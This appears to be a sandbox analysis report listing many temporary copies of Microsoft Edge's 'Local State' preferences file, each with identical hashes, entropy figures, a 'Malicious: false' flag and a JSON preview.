Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36c28.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36cd4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36f74.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39636.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a7f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a8e3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a941.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a98f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cf19.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48048.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4dd7b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwP